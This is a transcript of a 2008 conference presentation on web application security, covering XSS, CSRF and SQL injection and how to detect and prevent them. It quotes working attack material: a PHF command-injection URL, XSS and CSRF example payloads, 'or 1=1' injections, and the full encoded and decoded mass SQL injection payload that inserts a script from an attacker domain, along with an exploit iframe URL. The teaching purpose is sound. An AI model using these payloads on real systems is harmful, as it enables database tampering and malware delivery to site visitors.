Web Application Security Ny Cyber Sec Conf
-
Upload
aung-khant -
Category
Technology
-
view
1.253 -
download
1
description
Transcript of Web Application Security Ny Cyber Sec Conf
If You Don’t Get Web ApplicationSecurity Right, I Hope You’reGood at Incident Response...
11th Annual New York State Cyber Security ConferenceJune 5, 2008
Brian ReillyCSAC IRT Manager, NYS CSCICSymantec Professional Services
Introductions• About Me
– Incident Response, Intrusion Detection, and Security Operations at NYS CSCIC
• http://www.cscic.state.ny.us– Symantec Vulnerability Research
• http://www.symantec.com/research
• You?– IT Security– Application Developers– Systems and Network Engineering– Managers, Process Owners, Project Managers
Agenda• Web and HTTP Refresher• Three Web Application Vulnerability Types
– Cross-Site Scripting (XSS)– Cross-Site Request Forgery (CSRF)– SQL Injection
• What Happens When They’re Exploited?– What do the attacks look like?– Now What: Detection, Analysis, and Response
• How to Decrease Your Risk
HTTP Overview• HyperText Transfer Protocol• Like many other protocols, security was an
afterthought• Sensitive information typically stored/passed in
Cookies• Even new web technologies (AJAX, .NET, Web
Services etc.) are typically wrapped in HTTP• HTTPS looks like HTTP, wrapped in an
encrypted tunnel• SSL provides transport-layer security, but does
little to protect the underlying application
HTTP Overview
http://www.google.com/mail
GET /mail/index.html HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1)Accept: text/htmlAccept-Language: en-us,en;q=0.5Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Connection: closeReferer: http://www.google.com/mygoogle.html Cookie: gsessionid=3A950170854.304378
HTTP/1.1 200 OKDate: Thu, 05 May 2008 16:22:46 GMTServer: ApacheCache-Control: max-age=64800Expires: Fri, 07 May 2008 10:22:46 GMTConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8
<html>….web page data goes here…</html>
Web ClientWeb Server
Web Application Vulnerabilities• We’ve done a good job with traditional network security
• The attackers and attacks have evolved
• Web Application Vulnerabilities are prime targets because:– Firewalls and proxies will pass the majority of HTTP/HTTPS
traffic– Network IDS/IPS may not be in a position to observe HTTPS– Many Internet-facing applications– There are a number of “legacy” applications and applications
that were not built with security as a requirement
CVE requests by vulnerability type, courtesy of MITRE*:
2006 (January-October)• #1 Cross Site Scripting - 939 (21.5%)• #2 SQL Injection - 613 (14%)• #3 PHP includes - 414 (9.5%) 2005• #1 Cross Site Scripting – 725 (16%)• #2 SQL Injection - 584 (12.9%)• #3 Buffer overflows - 445 (9.8%)2004• #1 Buffer overflows - 391 (15.4%)• #2 Cross Site Scripting - 276 (10.9%)• #3 SQL Injection - 140 (5.5%)
(*) http://cwe.mitre.org/vuln-trends.html#table1
A Growing Threat
Validating User Input
• All of the vulnerabilities we’ll talk about today are the result of not validating and sanitizing user input
• All user-controlled input should be considered untrusted
1% of the Sources of User Input• It’s anything and everything that the user can
control AND • It’s anything and everything that the programmer
cannot/does not control, e.g.:
• Command-line arguments; URL values; web form data; system name; user name; Web Browser type; Cookie names; Data in Cookies; system time/date; username; environment variables; filenames; the files in a ZIP file; Email subject; email sender; Email recipients; random data; the name on an SSL certificate; etc…
Web Input Validation Vulnerabilities are Nothing New…
• PHF Bug (CERT Advisory 1996-06)• Affected default installs of the NCSA and Apache Web Servers• Any client could run commands by sending a URL similar to:
http://www.victim.com/cgi-bin/phf?QAlias=%0acat%20/etc/passwd• What the Web client sent:
GET /cgi-bin/phf?QAlias=%0acat%20/etc/passwd HTTP/1.0• What the Web application (phf) then sent to the underlying Unix OS:
cat /etc/passwd• What the OS sent back to the Web Server, for the client:
root:0:a4GhtL9Kj34RR:/:/bin/sh:1:1jdoe:1001:G8BKleE0PjsPm:/home/jdoe:/bin/csh:1:1...
Cross-Site Scripting (XSS)
XSS Overview• Cross-Site Scripting (XSS)• Misleading name = Misunderstood Vulnerability Class• Think of it as HTML, JavaScript, etc. Injection• Discussed in CERT Advisory CA-2000-02• Steadily increasing as a commonly found vulnerability• Can affect any web application language• Direct risk to the client; indirect risk to the server• XSS Vulnerabilities can vary in severity based on a number of
factors, including application architecture
• Occurs when an application does not properly encode HTML entities in user input, e.g.:
<script>blah</script> vs. <script>blah</script>
XSS Overview• Like Gaul, XSS attacks can be divided into three
main parts:– Type 0 – Local Resource– Type 1 – Reflected Attack
• Visit a malicious site; click on a malicious link• http://www.site.tld/app.jsp?foo=<script>alert(‘hi’)</script>• http://www.site.tld/app.jsp?foo=%3Cscript%3Ealert(%91hi%92)%3C/script%3E
– Type 2 – Persistent/Stored Attack• Username stored and presented as <b>Brian</b>
All types require some user interaction, but Type 2 attacks can be triggered by “just using an application”
Persistent XSS Overview
!
Attacker sets up XSS payload by injecting malicious JavaScript into a Web site
User visits the Web site; script code is executed on the client host
Exploit is triggered; e.g. cookie theft and information disclosure!
Got Holes? (XSS Edition)
<script>alert(‘hi’)</script>
Got Holes? (XSS Edition)
Possible XSS Payloads• Basic:
– Redirection• Set JavaScript -> document.location
– Cookie Theft• Cookie theft can lead to session hijacking/impersonation, information
disclosure, etc.• Same origin policy limits scope• XSS payload on .google.com can access Google cookies; XSS payload on
evilhacker.com cannot access Google cookies.(*)• Advanced
– CSRF (Cross Site Request Forgery)• Think Application Use Hijacking
– Portscanning– Browser History Retrieval– Client Eavesdropping– Full client control
(* Absent some other client vulnerability)
XSS: Real Life Example #1
Preventing XSSFor Developers:
• Input Filtering is key– Define “goodness”, not “badness”– Properly Encode HTML Entities– Trust NO user-supplied input
• Browser Type, Computer Name, User Name, HTTP Referer, All HTTP header content, application variables, etc.
• Output Filtering– Another layer of security, in case input filtering fails– May be appropriate in some cases
• Set HTTPOnly Attribute on Cookies– Prevents Cookie theft, but doesn’t stop other attack payloads– Note: This is not honored by all browsers
Cross-Site Request Forgery (CSRF)
CSRF• Cross Site Request Forgery (CSRF)• Like XSS, the name is misleading• A malicious web site contains code to force a
user to make a request against another web site• If you visit a web page an attacker controls, he
can hijack your browser• Your browser will gladly send all cookies,
SessionIDs, etc. to the target site– That’s how the Web works
CSRF
• Attacks can force both GET and POST requests
• There are ways to prevent CSRF, but…• If XSS vulnerabilities also exist in the
application, an attacker can probably defeat most CSRF countermeasures
CSRF Overview
CSRF Payload causes the user to submit a web request; the browser gladly sends any cookies/sessions tokens it has for that site, e.g.:
http://www.bank.tld/transfer.asp?amount=1000&from_acct=victim&to_acct=evil_harpo
www.news-blogs.tld
www.bank.tld
Attacker injects CSRF payload into Site A to force a request against Site B
User visits a Web site !
Preventing CSRF
For Developers:
• Eliminate all XSS vulnerabilities
• Design applications to require a unique, cryptographically-generated “action token” for each action
• Require periodic re-authentication for certain actions (note: security vs. convenience)
Avoiding CSRF AttacksFor End Users:
• (Selectively) Disable JavaScript– e.g. Firefox NoScript Plugin– Will break some application functionality
• Avoid disreputable Web sites• Avoid casual browsing while logged into
sensitive sites• Avoid storing web application credentials
– Saved/Persistent Cookies– Saved Passwords
SQL Injection
What is SQL?• SQL stands for Structured Query Language • Allows us to access a database • ANSI and ISO standard• SQL can:
– execute queries against a database – retrieve data from a database – insert new records in a database– update records in a database– delete records from a database
• Most databases have propriety extensions for additional functionality
What is SQL Injection?• SQL Injection is the ability to covertly send
commands to a database, through another application’s existing interfaces (e.g. a Web login form)
• For Web applications, the SQL Injection request is sent by a Web Client (e.g. a Web Browser)
• SQL Injection is a subset of fuzzing: sending random or unexpected data to an application
The Risk of SQL Injection
• SQL Injection can:– Disclose sensitive information– Allow data tampering– Run SQL commands with elevated privileges– Execute system commands– Gain further access into an internal network
Anatomy of a SQL Injection Attack
OS
Server
App Code
Firewall allows TCP Ports 80 and 443 from the Internet
Firewall only allows DB Ports from the Web Server
Our Web server is patched and running a hardened OS SQL Database
HTTP
The Attacker sends an HTTP Request, with an embedded SQL statement
The Web App then handsThe SQL statement to theDatabase
SQL
Got Holes? (SQL Edition)
Vulnerable Code Sample
Consider the following code, where the variable $variety comes from a user submitting a web form:
...$query = “SELECT * FROM wines WHERE variety = ’” . $variety . “’”;$response = DB->query($query);
print $response; ...
We’re OK if he types in cabernet:
SELECT * FROM wines WHERE variety = ‘cabernet’
Exploiting the HoleBut how about something else, like:
cabernet’ or 1=1
SELECT * from wines where variety = ‘cabernet’ or 1=1’
Now consider:
SELECT * FROM users WHERE lastName = ‘smith’ or 1=1’SELECT * FROM bankAccounts WHERE acctNum = ‘0123456’ or 1=1’SELECT * FROM customers WHERE ccNum = ‘123456789012345’ or 1=1’
Advanced Exploitation• SQL Injection Vulnerabilities may allow an
attacker to:– Bypass SQL-based authentication – Modify data in the DB– Execute System Commands
• What else Can you DBAs do?
• All of this happens over 80/TCP and 443/TCP, and looks like “normal” web traffic!
Fixing this Problem• Let’s go back to our original vulnerable code:...sanitize($variety);$query = “SELECT * FROM wines WHERE variety = ’“ . $variety . “’”;$response = DB->query($query);print $response; ...sub sanitize { # code in here to remove single quotes, unexpected characters, # special characters, etc. We may just want to allow A-Z and # spaces....}...
Now that we’ve fixed the problem, onto...
The Bad News: It’s not just SQL…
OS
Server
App Code
Firewall allows TCP Ports 80 and 443 from the Internet
Our Web server is patched and running a hardened OS Legacy Systems
SQL Database
LDAP
Any backend system that accepts “remote commands” from an application could potentially be vulnerable to similar attack methods ??
The Good News
Most of these vulnerabilities can be eliminated by checking and sanitizing ALL user input
(The fine print: Finding all possible sources of user input isn’t always easy. Assume the user can manipulate all client data, and sanitize everything.)
Avoiding SQL Injection Bugs
• Validate and sanitize all user input• Use parameterized SQL queries• Determine where the app interacts with
the database• Review all code from the above item again • Validate all user input again
SQL: Real Life Example #1
SQL: Real Life Example #2
* Courtesy XKCD
Recent Automated SQL Injection Attacks
• Began in December 2007• Automated attack initially targets vulnerable web applications for
SQL Injection• Attack tries to add a malicious HTML <script> tag into every row of
every table of vulnerable databases• In many cases, the <script> is then displayed as web content• Over 70,000 Web servers compromised during the first wave• More client computers compromised via client-side vulnerabilities• The initial attack exploited any ASP application that was vulnerable
to SQL injection and running MS-SQL• Some modifications in the attack could have made it effective
against different types of systems, vulnerability classes, etc.• One attack tool was effective against an entire vulnerability class
and architecture
Attack Dataflow
Attacker (bot or script) crawls the Internet for Web servers and sends multiple SQL injection attempts to all web application interfaces
<script…>
Malicious script tag is inserted into the DB and displayed on a web page
Victim Client
Victim Server
uc8010.com
When a client visits the compromised site, they are silently redirected to uc8010.com and served client-side exploits and malware
Attack Tool Interface
* From http://isc.sans.org/diary.html?storyid=4294
Features:
• Automated!
• Leverages Google
• Customized Searches
• Customized Payloads
Sample SQL Injection Attack Payload
POST /your/vulnerable/code.asp Y=2008&S=12345;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- HTTP/1.0
SQL Injection Attack (Decoded)POST /your/vulnerable/code.asp Y=2008&S=12345;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor%20AS%20NVARCHAR(4000));EXEC(@S);--| HTTP/1.0
The Secondary Attack PayloadsScript content injected into vulnerable DB tables:
<script src=http://c.uc8010.com/0.js></script>
This page would direct the victim to a series of web pages that contained multiple client-side exploits, similar to:
<iframe width='0' height='0' src='http://61.188.38.185/wow/Ms06067.html'></iframe>
Software and vulnerabilities targeted included:
• MS06-014 (MDAC)• MS06-067 (Internet Explorer)• RealPlayer• MPS StormPlayer (Movie Player)• XunLei (P2P Client)
Successful exploitation would result in additional malware (keyloggers, etc.) being pushed to the client victim.
Attack Methodology Mutation
• The SQL injection attack code is added to botnets in April/May 2008
• Numbers and locations of attack sources change dramatically
• The URLs of the injected content change as the attacks spread– Over malicious 50 domain names used– Makes one-off web filtering an uphill battle
Attack Payload MutationThe SQL Injection Payloads and Obfuscation Methods Changes:
GET /vulnerable/code.asp? id=100&a=9999%3BUPDATE+TBL%5FMYDATA+SET+MYCONTENT%3DSUBSTRING(CAST(MYCONTENT+AS+VARCHAR(8000)),1,1350)%2BCHAR(32)%2BCHAR(118)%2BCHAR(105)%2BCHAR(97)%2BCHAR(103)%2BCHAR(114)%2BCHAR(97)%2BCHAR(32)%2BCHAR(115)%2BCHAR(105)%2BCHAR(108)%2BCHAR(100)%2BCHAR(101)%2BCHAR(110)%2BCHAR(97)[more encoded data…]+WHERE+RECORD%5FID+%3D+100%2D%2D HTTP/1.0
DECODED:; UPDATE TBL_MYDATA SET MYCONTENT=SUBSTRING([Blob]) WHERE RECORD_ID=100
[…] CHAR(118) CHAR(105) CHAR(97) CHAR(103) CHAR(114) CHAR(97) […] = […] v i a g r a […]
What Can We Learn?• As network and server security improves, clients and
web apps continue to become a popular target
• Worms are getting better at exploiting custom softwareand entire vulnerability classes
• We’re seeing more multi-vector and multi-target attacks
• Defense-in-depth is still effective:– Monitoring / Response– Best Practices for Networks and Systems– Application Security
Avoiding These (and other) Web App Vulnerabilities
• Make security part of the SDLC• Identify all the sources of user input• Validate and sanitize all user input• Whitebox (source code) testing• Blackbox (app penetration) testing• Determine at-risk sections of the
application, and re-review those (DB interaction, data display, command execution, etc.)
Tools to Identify SQL Injection Vulnerabilities
• Vulnerability scanners – Nessus– Nikto– Commercial Web App Scanners
• SQL-Injection Discovery Tools– SQueaL, Absinthe, SQLInjector, others
• Client-side Web proxies– Web Scarab, Pantera, Paros Proxy
• Source code analyzers
References and Further Reading
Books• Software Security Series (Addison-Wesley)• The Art of Software Security Testing (Addison-Wesley /Symantec
Press)• The Art of Software Security Assessment (Addison-Wesley)• Hunting Security Bugs (Microsoft Press)• 19 Deadly Sins of Software Security (McGraw-Hill ) • XSS Attacks (Syngress)
Online• Open Web Application Security Project (OWASP),
http://www.owasp.org• Build Security In Project, https://buildsecurityin.us-cert.gov• CGISecurity, http://www.cgisecurity.net• CSCIC, http://www.cscic.state.ny.us
Demo
A Quick Visit to BadStore.Net
Demo: BadStore.net• 10MB bootable Trinux image (ISO), with a very
vulnerable web commerce environment.• Burn it to CD or use as a VM image• Released under the GNU Public License / Free!• Fun for the whole family!
– Scan it!– Test XSS, SQL injection, and many other classes of web app
attacks!– Provides plenty of “known bad code” to audit and fix
• Goes without saying, but DON’T connect it to a public network